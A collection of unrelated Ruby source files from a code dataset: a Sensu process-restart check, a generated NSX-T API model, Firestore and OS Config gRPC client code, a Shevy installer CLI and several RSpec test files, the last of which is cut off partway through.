Split.redis.hset(:metrics, name, experiments.map(&:name).join(','))
end
def complete!
experiments.each do |experiment|
experiment.complete!
end
end
def self.normalize_metric(label)
if Hash === label
metric_name = label.keys.first
goals = label.values.first
else
metric_name = label
goals = []
end
return metric_name, goals
end
private_class_method :normalize_metric
end
end
| 23.803922 | 81 | 0.616969 |
bbb92ff1b875b818e2123d1f6c7c61510f6c0764 | 2,664 | #! /usr/bin/env ruby
# encoding: UTF-8
# check-process-restart
#
# DESCRIPTION:
# This will check if a running process requires a restart if a
# dependent package/library has changed (i.e upgraded)
#
# OUTPUT:
# plain text
# Defaults: CRITICAL if 2 or more process require a restart
# WARNING if 1 process requires a restart
#
# PLATFORMS:
# Linux (Debian based distributions)
#
# DEPENDENCIES:
# gem: sensu-plugin
# gem: json
# deb: debian-goodies
#
# USAGE:
# check-process-restart.rb # Uses defaults
# check-process-restart.rb -w 2 -c 5
#
# NOTES:
# This will only work on Debian based distributions and requires the
# debian-goodies package.
#
# Also make sure the user "sensu" can sudo without password
#
# LICENSE:
# Yasser Nabi [email protected]
# Released under the same terms as Sensu (the MIT license); see LICENSE
# for details.
require 'sensu-plugin/check/cli'
require 'json'
require 'rubygems' if RUBY_VERSION < '1.9.0'
# Use to see if any processes require a restart
class CheckProcessRestart < Sensu::Plugin::Check::CLI
option :warn,
short: '-w WARN',
default: 1
option :crit,
short: '-c CRIT',
default: 2
CHECK_RESTART = '/usr/sbin/checkrestart'
# Set path for the checkrestart script
def initialize
super
end
# Check if we can run checkrestart script
# Return: Boolean
def checkrestart?
File.exist?('/etc/debian_version') && File.exist?(CHECK_RESTART)
end
# Run checkrestart and parse process(es) and pid(s)
# Return: Hash
def run_checkrestart
checkrestart_hash = { found: '', pids: [] }
out = `sudo #{CHECK_RESTART} 2>&1`
if $CHILD_STATUS.to_i != 0
checkrestart_hash[:found] = "Failed to run checkrestart: #{out}"
else
out.lines do |l|
m = /^Found\s(\d+)/.match(l)
if m
checkrestart_hash[:found] = m[1]
end
m = /^\s+(\d+)\s+([ \w\/\-\.]+)$/.match(l)
if m
checkrestart_hash[:pids] << { m[1] => m[2] }
end
end
end
checkrestart_hash
end
# Main run method for the check
def run
unless checkrestart?
unknown "Can't seem to find checkrestart. This check only works in a Debian based distribution and you need debian-goodies package installed"
end
checkrestart_out = run_checkrestart
if /^Failed/.match(checkrestart_out[:found])
unknown checkrestart_out[:found]
end
message JSON.generate(checkrestart_out)
found = checkrestart_out[:found].to_i
warning if found >= config[:warn] && found < config[:crit]
critical if found >= config[:crit]
ok
end
end
| 25.132075 | 147 | 0.650901 |
39a05729af817736bda440c1ad8e975dc638691c | 12,416 | =begin
#NSX-T Manager API
#VMware NSX-T Manager REST API
OpenAPI spec version: 2.5.1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.19
=end
require 'date'
module NSXT
class RAConfig
# The maximum number of hops through which packets can pass before being discarded.
attr_accessor :hop_limit
# Router lifetime value in seconds. A value of 0 indicates the router is not a default router for the receiving end. Any other value in this field specifies the lifetime, in seconds, associated with this router as a default router.
attr_accessor :router_lifetime
# Interval between 2 Router advertisement in seconds.
attr_accessor :ra_interval
# The time interval in seconds, in which the prefix is advertised as preferred.
attr_accessor :prefix_preferred_time
# The time interval in seconds, in which the prefix is advertised as valid.
attr_accessor :prefix_lifetime
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'hop_limit' => :'hop_limit',
:'router_lifetime' => :'router_lifetime',
:'ra_interval' => :'ra_interval',
:'prefix_preferred_time' => :'prefix_preferred_time',
:'prefix_lifetime' => :'prefix_lifetime'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'hop_limit' => :'Integer',
:'router_lifetime' => :'Integer',
:'ra_interval' => :'Integer',
:'prefix_preferred_time' => :'Integer',
:'prefix_lifetime' => :'Integer'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'hop_limit')
self.hop_limit = attributes[:'hop_limit']
else
self.hop_limit = 64
end
if attributes.has_key?(:'router_lifetime')
self.router_lifetime = attributes[:'router_lifetime']
else
self.router_lifetime = 1800
end
if attributes.has_key?(:'ra_interval')
self.ra_interval = attributes[:'ra_interval']
else
self.ra_interval = 600
end
if attributes.has_key?(:'prefix_preferred_time')
self.prefix_preferred_time = attributes[:'prefix_preferred_time']
else
self.prefix_preferred_time = 604800
end
if attributes.has_key?(:'prefix_lifetime')
self.prefix_lifetime = attributes[:'prefix_lifetime']
else
self.prefix_lifetime = 2592000
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if !@hop_limit.nil? && @hop_limit > 255
invalid_properties.push('invalid value for "hop_limit", must be smaller than or equal to 255.')
end
if !@hop_limit.nil? && @hop_limit < 0
invalid_properties.push('invalid value for "hop_limit", must be greater than or equal to 0.')
end
if !@router_lifetime.nil? && @router_lifetime > 65520
invalid_properties.push('invalid value for "router_lifetime", must be smaller than or equal to 65520.')
end
if !@router_lifetime.nil? && @router_lifetime < 0
invalid_properties.push('invalid value for "router_lifetime", must be greater than or equal to 0.')
end
if !@ra_interval.nil? && @ra_interval > 1800
invalid_properties.push('invalid value for "ra_interval", must be smaller than or equal to 1800.')
end
if !@ra_interval.nil? && @ra_interval < 4
invalid_properties.push('invalid value for "ra_interval", must be greater than or equal to 4.')
end
if !@prefix_preferred_time.nil? && @prefix_preferred_time > 4294967295
invalid_properties.push('invalid value for "prefix_preferred_time", must be smaller than or equal to 4294967295.')
end
if !@prefix_preferred_time.nil? && @prefix_preferred_time < 0
invalid_properties.push('invalid value for "prefix_preferred_time", must be greater than or equal to 0.')
end
if !@prefix_lifetime.nil? && @prefix_lifetime > 4294967295
invalid_properties.push('invalid value for "prefix_lifetime", must be smaller than or equal to 4294967295.')
end
if !@prefix_lifetime.nil? && @prefix_lifetime < 0
invalid_properties.push('invalid value for "prefix_lifetime", must be greater than or equal to 0.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if !@hop_limit.nil? && @hop_limit > 255
return false if !@hop_limit.nil? && @hop_limit < 0
return false if !@router_lifetime.nil? && @router_lifetime > 65520
return false if !@router_lifetime.nil? && @router_lifetime < 0
return false if !@ra_interval.nil? && @ra_interval > 1800
return false if !@ra_interval.nil? && @ra_interval < 4
return false if !@prefix_preferred_time.nil? && @prefix_preferred_time > 4294967295
return false if !@prefix_preferred_time.nil? && @prefix_preferred_time < 0
return false if !@prefix_lifetime.nil? && @prefix_lifetime > 4294967295
return false if !@prefix_lifetime.nil? && @prefix_lifetime < 0
true
end
# Custom attribute writer method with validation
# @param [Object] hop_limit Value to be assigned
def hop_limit=(hop_limit)
if !hop_limit.nil? && hop_limit > 255
fail ArgumentError, 'invalid value for "hop_limit", must be smaller than or equal to 255.'
end
if !hop_limit.nil? && hop_limit < 0
fail ArgumentError, 'invalid value for "hop_limit", must be greater than or equal to 0.'
end
@hop_limit = hop_limit
end
# Custom attribute writer method with validation
# @param [Object] router_lifetime Value to be assigned
def router_lifetime=(router_lifetime)
if !router_lifetime.nil? && router_lifetime > 65520
fail ArgumentError, 'invalid value for "router_lifetime", must be smaller than or equal to 65520.'
end
if !router_lifetime.nil? && router_lifetime < 0
fail ArgumentError, 'invalid value for "router_lifetime", must be greater than or equal to 0.'
end
@router_lifetime = router_lifetime
end
# Custom attribute writer method with validation
# @param [Object] ra_interval Value to be assigned
def ra_interval=(ra_interval)
if !ra_interval.nil? && ra_interval > 1800
fail ArgumentError, 'invalid value for "ra_interval", must be smaller than or equal to 1800.'
end
if !ra_interval.nil? && ra_interval < 4
fail ArgumentError, 'invalid value for "ra_interval", must be greater than or equal to 4.'
end
@ra_interval = ra_interval
end
# Custom attribute writer method with validation
# @param [Object] prefix_preferred_time Value to be assigned
def prefix_preferred_time=(prefix_preferred_time)
if !prefix_preferred_time.nil? && prefix_preferred_time > 4294967295
fail ArgumentError, 'invalid value for "prefix_preferred_time", must be smaller than or equal to 4294967295.'
end
if !prefix_preferred_time.nil? && prefix_preferred_time < 0
fail ArgumentError, 'invalid value for "prefix_preferred_time", must be greater than or equal to 0.'
end
@prefix_preferred_time = prefix_preferred_time
end
# Custom attribute writer method with validation
# @param [Object] prefix_lifetime Value to be assigned
def prefix_lifetime=(prefix_lifetime)
if !prefix_lifetime.nil? && prefix_lifetime > 4294967295
fail ArgumentError, 'invalid value for "prefix_lifetime", must be smaller than or equal to 4294967295.'
end
if !prefix_lifetime.nil? && prefix_lifetime < 0
fail ArgumentError, 'invalid value for "prefix_lifetime", must be greater than or equal to 0.'
end
@prefix_lifetime = prefix_lifetime
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
hop_limit == o.hop_limit &&
router_lifetime == o.router_lifetime &&
ra_interval == o.ra_interval &&
prefix_preferred_time == o.prefix_preferred_time &&
prefix_lifetime == o.prefix_lifetime
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[hop_limit, router_lifetime, ra_interval, prefix_preferred_time, prefix_lifetime].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = NSXT.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 34.876404 | 236 | 0.656411 |
1cdd15b47bcb7dc8a991a79e637e27e765998b3e | 3,901 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# Source: google/firestore/v1beta1/firestore.proto for package 'google.firestore.v1beta1'
# Original file comments:
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'grpc'
require 'google/firestore/v1beta1/firestore_pb'
module Google
module Firestore
module V1beta1
module Firestore
# Specification of the Firestore API.
#
# The Cloud Firestore service.
#
# This service exposes several types of comparable timestamps:
#
# * `create_time` - The time at which a document was created. Changes only
# when a document is deleted, then re-created. Increases in a strict
# monotonic fashion.
# * `update_time` - The time at which a document was last updated. Changes
# every time a document is modified. Does not change when a write results
# in no modifications. Increases in a strict monotonic fashion.
# * `read_time` - The time at which a particular state was observed. Used
# to denote a consistent snapshot of the database or the time at which a
# Document was observed to not exist.
# * `commit_time` - The time at which the writes in a transaction were
# committed. Any read with an equal or greater `read_time` is guaranteed
# to see the effects of the transaction.
class Service
include GRPC::GenericService
self.marshal_class_method = :encode
self.unmarshal_class_method = :decode
self.service_name = 'google.firestore.v1beta1.Firestore'
# Gets a single document.
rpc :GetDocument, GetDocumentRequest, Document
# Lists documents.
rpc :ListDocuments, ListDocumentsRequest, ListDocumentsResponse
# Creates a new document.
rpc :CreateDocument, CreateDocumentRequest, Document
# Updates or inserts a document.
rpc :UpdateDocument, UpdateDocumentRequest, Document
# Deletes a document.
rpc :DeleteDocument, DeleteDocumentRequest, Google::Protobuf::Empty
# Gets multiple documents.
#
# Documents returned by this method are not guaranteed to be returned in the
# same order that they were requested.
rpc :BatchGetDocuments, BatchGetDocumentsRequest, stream(BatchGetDocumentsResponse)
# Starts a new transaction.
rpc :BeginTransaction, BeginTransactionRequest, BeginTransactionResponse
# Commits a transaction, while optionally updating documents.
rpc :Commit, CommitRequest, CommitResponse
# Rolls back a transaction.
rpc :Rollback, RollbackRequest, Google::Protobuf::Empty
# Runs a query.
rpc :RunQuery, RunQueryRequest, stream(RunQueryResponse)
# Streams batches of document updates and deletes, in order.
rpc :Write, stream(WriteRequest), stream(WriteResponse)
# Listens to changes.
rpc :Listen, stream(ListenRequest), stream(ListenResponse)
# Lists all the collection IDs underneath a document.
rpc :ListCollectionIds, ListCollectionIdsRequest, ListCollectionIdsResponse
end
Stub = Service.rpc_stub_class
end
end
end
end
| 44.329545 | 93 | 0.676493 |
4a42efbfbf2762c817545b108fb40ea9bc99dca1 | 1,767 | require 'shevy/version'
require 'fileutils'
require 'thor'
require 'pathname'
module Shevy
class Generator < Thor
map ["-v", "--version"] => :version
desc "install", "Install Shevy into your project"
method_options :path => :string, :force => :boolean
def install
if shevy_files_already_exist? && !options[:force]
puts "Shevy files already installed, doing nothing."
else
install_files
puts "Shevy files installed to #{install_path}/"
end
end
desc "update", "Update Shevy"
method_options :path => :string
def update
if shevy_files_already_exist?
remove_shevy_directory
install_files
puts "Shevy files updated."
else
puts "No existing shevy installation. Doing nothing."
end
end
desc "version", "Show Shevy version"
def version
say "Shevy #{Shevy::VERSION}"
end
private
def shevy_files_already_exist?
install_path.exist?
end
def install_path
@install_path ||= if options[:path]
Pathname.new(File.join(options[:path], "shevy"))
else
Pathname.new("shevy")
end
end
def install_files
make_install_directory
copy_in_scss_files
end
def remove_shevy_directory
FileUtils.rm_rf("shevy")
end
def make_install_directory
FileUtils.mkdir_p(install_path)
end
def copy_in_scss_files
FileUtils.cp_r(all_stylesheets, install_path)
end
def all_stylesheets
Dir["#{stylesheets_directory}/*"]
end
def stylesheets_directory
File.join(top_level_directory, "core")
end
def top_level_directory
File.dirname(File.dirname(File.dirname(__FILE__)))
end
end
end
| 21.54878 | 61 | 0.645161 |
1c3871bc1100083c6f02b845b6fad4c42b749764 | 1,239 | require File.dirname(__FILE__) + '/../../../spec_helper'
require 'cgi'
describe "CGI::TagMaker#nO_element_def when passed element" do
before(:each) do
@obj = Object.new
@obj.extend(CGI::TagMaker)
end
it "returns code for the passed element with optional start/end tags" do
@obj.nO_element_def("P").should == <<-EOS
"<P" + attributes.collect{|name, value|
next unless value
" " + CGI::escapeHTML(name) +
if true == value
""
else
\'="\' + CGI::escapeHTML(value) + \'"\'
end
}.to_s + ">" +
if block_given?
yield.to_s + "</P>"
else
""
end
EOS
end
it "automatically converts the element tag to capital letters" do
@obj.nO_element_def("p").should == <<-EOS
"<P" + attributes.collect{|name, value|
next unless value
" " + CGI::escapeHTML(name) +
if true == value
""
else
\'="\' + CGI::escapeHTML(value) + \'"\'
end
}.to_s + ">" +
if block_given?
yield.to_s + "</P>"
else
""
end
EOS
end
end
| 25.285714 | 74 | 0.472155 |
5dba2a0d943d6a0e2517dfbb5eb12b63d06c4a3d | 92 | json.extract! meter, :id, :created_at, :updated_at
json.url meter_url(meter, format: :json)
| 30.666667 | 50 | 0.75 |
f763c714815a5d5582d7ab185e8233eaaa8cce36 | 509 | require "yaml"
require "fex/service_factory"
module Fex
class Client
attr_reader :globals
def initialize(globals)
@globals = globals
end
def service(name, locals = {})
config = service_configuration[name]
opts = globals.deep_merge(config).deep_merge(locals)
ServiceFactory.new(name, opts).service
end
private
def service_configuration
@service_configuration ||= YAML.load_file(File.expand_path("../services.yml", __FILE__))
end
end
end
| 18.851852 | 94 | 0.683694 |
791268919d1834639d3dee37e2fe6b11ac9c8212 | 6,556 | # frozen_string_literal: true
require 'spec_helper'
require 'webmock/rspec'
module SimpleSauce
describe Session do
let(:valid_response) do
{status: 200,
body: {value: {sessionId: 0, capabilities: Selenium::WebDriver::Remote::Capabilities.chrome}}.to_json,
headers: {"content_type": 'application/json'}}
end
let(:default_capabilities) do
{browserName: 'chrome',
browserVersion: 'latest',
platformName: 'Windows 10',
'sauce:options': {build: 'TEMP BUILD: 11'}}
end
def expect_request(body: nil, endpoint: nil)
body = (body || {desiredCapabilities: default_capabilities,
capabilities: {firstMatch: [default_capabilities]}}).to_json
endpoint ||= 'https://ondemand.us-west-1.saucelabs.com/wd/hub/session'
stub_request(:post, endpoint).with(body: body).to_return(valid_response)
end
before do
ENV['BUILD_TAG'] = ''
ENV['BUILD_NAME'] = 'TEMP BUILD'
ENV['BUILD_NUMBER'] = '11'
ENV['SAUCE_USERNAME'] = 'foo'
ENV['SAUCE_ACCESS_KEY'] = '123'
end
after do
ENV.delete 'BUILD_TAG'
ENV.delete 'BUILD_NAME'
ENV.delete 'BUILD_NUMBER'
ENV.delete 'SAUCE_USERNAME'
ENV.delete 'SAUCE_ACCESS_KEY'
end
describe '#new' do
it 'creates default Options instance if none is provided' do
session = Session.new
expected_results = {url: 'https://foo:[email protected]:443/wd/hub',
desired_capabilities: {'browserName' => 'chrome',
'browserVersion' => 'latest',
'platformName' => 'Windows 10',
'sauce:options' => {'build' => 'TEMP BUILD: 11'}}}
expect(session.to_selenium).to eq expected_results
end
it 'uses provided Options class' do
sauce_opts = Options.new(browser_version: '123',
platform_name: 'Mac',
idle_timeout: 4)
session = Session.new(sauce_opts)
expected_results = {url: 'https://foo:[email protected]:443/wd/hub',
desired_capabilities: {'browserName' => 'chrome',
'browserVersion' => '123',
'platformName' => 'Mac',
'sauce:options' => {'idleTimeout' => 4,
'build' => 'TEMP BUILD: 11'}}}
expect(session.to_selenium).to eq expected_results
end
it 'defaults to US West data Center' do
session = Session.new
expect(session.data_center).to eq :US_WEST
end
it 'uses provided Data Center, Username, Access Key' do
session = Session.new(data_center: :EU_VDC,
username: 'bar',
access_key: '321')
expected_results = {url: 'https://bar:[email protected]:443/wd/hub',
desired_capabilities: {'browserName' => 'chrome',
'browserVersion' => 'latest',
'platformName' => 'Windows 10',
'sauce:options' => {'build' => 'TEMP BUILD: 11'}}}
expect(session.to_selenium).to eq expected_results
end
it 'raises exception if data center is invalid' do
expect { Session.new(data_center: :FOO) }.to raise_exception(ArgumentError)
end
end
describe '#start' do
it 'starts the session and returns Selenium Driver instance' do
expect_request
driver = Session.new.start
expect(driver).to be_a Selenium::WebDriver::Driver
end
it 'raises exception if no username set' do
ENV.delete('SAUCE_USERNAME')
expect { Session.new.start }.to raise_exception(ArgumentError)
end
it 'raises exception if no access key set' do
ENV.delete('SAUCE_ACCESS_KEY')
expect { Session.new.start }.to raise_exception(ArgumentError)
end
end
describe '#stop' do
it 'quits the driver' do
driver = instance_double(Selenium::WebDriver::Remote::Driver, session_id: '1234')
allow(Selenium::WebDriver::Driver).to receive(:for).and_return(driver)
allow(driver).to receive :quit
allow(SauceWhisk::Jobs).to receive(:change_status).with('1234', true)
session = Session.new
session.start
session.stop(true)
expect(driver).to have_received(:quit)
expect(SauceWhisk::Jobs).to have_received(:change_status).with('1234', true)
end
end
describe '#data_center=' do
it 'overrides default value for data center' do
session = Session.new
session.data_center = :US_EAST
expect(session.url).to eq('https://foo:[email protected]:443/wd/hub')
end
it 'raises exception if data center is invalid' do
session = Session.new
expect { session.data_center = :FOO }.to raise_exception(ArgumentError)
end
end
describe '#username=' do
it 'accepts provided username' do
session = Session.new
session.username = 'name'
expect(session.url).to eq('https://name:[email protected]:443/wd/hub')
end
end
describe '#access_key=' do
it 'accepts provided access key' do
session = Session.new
session.access_key = '456'
expect(session.url).to eq('https://foo:[email protected]:443/wd/hub')
end
end
describe '#url=' do
it 'allows user to override default URL' do
session = Session.new
session.url = 'https://bar:321@mycustomurl/foo/wd/hub:8080'
expected_results = {url: 'https://bar:321@mycustomurl/foo/wd/hub:8080',
desired_capabilities: {'browserName' => 'chrome',
'browserVersion' => 'latest',
'platformName' => 'Windows 10',
'sauce:options' => {'build' => 'TEMP BUILD: 11'}}}
expect(session.to_selenium).to eq expected_results
end
end
end
end
| 36.831461 | 109 | 0.555217 |
21e19843e1496d215ac424065e768a17803b71f7 | 83,588 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "google/cloud/errors"
require "google/cloud/osconfig/v1beta/osconfig_service_pb"
module Google
module Cloud
module Osconfig
module V1beta
module OsConfigService
##
# Client for the OsConfigService service.
#
# OS Config API
#
# The OS Config service is a server-side component that you can use to
# manage package installations and patch jobs for virtual machine instances.
#
class Client
include Paths
# @private
attr_reader :os_config_service_stub
##
# Configure the OsConfigService Client class.
#
# See {::Google::Cloud::Osconfig::V1beta::OsConfigService::Client::Configuration}
# for a description of the configuration fields.
#
# @example
#
# # Modify the configuration for all OsConfigService clients
# ::Google::Cloud::Osconfig::V1beta::OsConfigService::Client.configure do |config|
# config.timeout = 10.0
# end
#
# @yield [config] Configure the Client client.
# @yieldparam config [Client::Configuration]
#
# @return [Client::Configuration]
#
def self.configure
@configure ||= begin
namespace = ["Google", "Cloud", "Osconfig", "V1beta"]
parent_config = while namespace.any?
parent_name = namespace.join "::"
parent_const = const_get parent_name
break parent_const.configure if parent_const.respond_to? :configure
namespace.pop
end
default_config = Client::Configuration.new parent_config
default_config
end
yield @configure if block_given?
@configure
end
##
# Configure the OsConfigService Client instance.
#
# The configuration is set to the derived mode, meaning that values can be changed,
# but structural changes (adding new fields, etc.) are not allowed. Structural changes
# should be made on {Client.configure}.
#
# See {::Google::Cloud::Osconfig::V1beta::OsConfigService::Client::Configuration}
# for a description of the configuration fields.
#
# @yield [config] Configure the Client client.
# @yieldparam config [Client::Configuration]
#
# @return [Client::Configuration]
#
def configure
yield @config if block_given?
@config
end
##
# Create a new OsConfigService client object.
#
# @example
#
# # Create a client using the default configuration
# client = ::Google::Cloud::Osconfig::V1beta::OsConfigService::Client.new
#
# # Create a client using a custom configuration
# client = ::Google::Cloud::Osconfig::V1beta::OsConfigService::Client.new do |config|
# config.timeout = 10.0
# end
#
# @yield [config] Configure the OsConfigService client.
# @yieldparam config [Client::Configuration]
#
def initialize
# These require statements are intentionally placed here to initialize
# the gRPC module only when it's required.
# See https://github.com/googleapis/toolkit/issues/446
require "gapic/grpc"
require "google/cloud/osconfig/v1beta/osconfig_service_services_pb"
# Create the configuration object
@config = Configuration.new Client.configure
# Yield the configuration if needed
yield @config if block_given?
# Create credentials
credentials = @config.credentials
# Use self-signed JWT if the endpoint is unchanged from default,
# but only if the default endpoint does not have a region prefix.
enable_self_signed_jwt = @config.endpoint == Client.configure.endpoint &&
[email protected](".").first.include?("-")
credentials ||= Credentials.default scope: @config.scope,
enable_self_signed_jwt: enable_self_signed_jwt
if credentials.is_a?(::String) || credentials.is_a?(::Hash)
credentials = Credentials.new credentials, scope: @config.scope
end
@quota_project_id = @config.quota_project
@quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id
@os_config_service_stub = ::Gapic::ServiceStub.new(
::Google::Cloud::Osconfig::V1beta::OsConfigService::Stub,
credentials: credentials,
endpoint: @config.endpoint,
channel_args: @config.channel_args,
interceptors: @config.interceptors
)
end
# Service calls
##
# Patch VM instances by creating and running a patch job.
#
# @overload execute_patch_job(request, options = nil)
# Pass arguments to `execute_patch_job` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::ExecutePatchJobRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::ExecutePatchJobRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload execute_patch_job(parent: nil, description: nil, instance_filter: nil, patch_config: nil, duration: nil, dry_run: nil, display_name: nil)
# Pass arguments to `execute_patch_job` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param parent [::String]
# Required. The project in which to run this patch in the form `projects/*`
# @param description [::String]
# Description of the patch job. Length of the description is limited
# to 1024 characters.
# @param instance_filter [::Google::Cloud::Osconfig::V1beta::PatchInstanceFilter, ::Hash]
# Required. Instances to patch, either explicitly or filtered by some criteria such
# as zone or labels.
# @param patch_config [::Google::Cloud::Osconfig::V1beta::PatchConfig, ::Hash]
# Patch configuration being applied. If omitted, instances are
# patched using the default configurations.
# @param duration [::Google::Protobuf::Duration, ::Hash]
# Duration of the patch job. After the duration ends, the patch job
# times out.
# @param dry_run [::Boolean]
# If this patch is a dry-run only, instances are contacted but
# will do nothing.
# @param display_name [::String]
# Display name for this patch job. This does not have to be unique.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::PatchJob]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::PatchJob]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def execute_patch_job request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::ExecutePatchJobRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.execute_patch_job.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"parent" => request.parent
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.execute_patch_job.timeout,
metadata: metadata,
retry_policy: @config.rpcs.execute_patch_job.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :execute_patch_job, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Get the patch job. This can be used to track the progress of an
# ongoing patch job or review the details of completed jobs.
#
# @overload get_patch_job(request, options = nil)
# Pass arguments to `get_patch_job` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::GetPatchJobRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::GetPatchJobRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload get_patch_job(name: nil)
# Pass arguments to `get_patch_job` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. Name of the patch in the form `projects/*/patchJobs/*`
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::PatchJob]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::PatchJob]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def get_patch_job request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::GetPatchJobRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
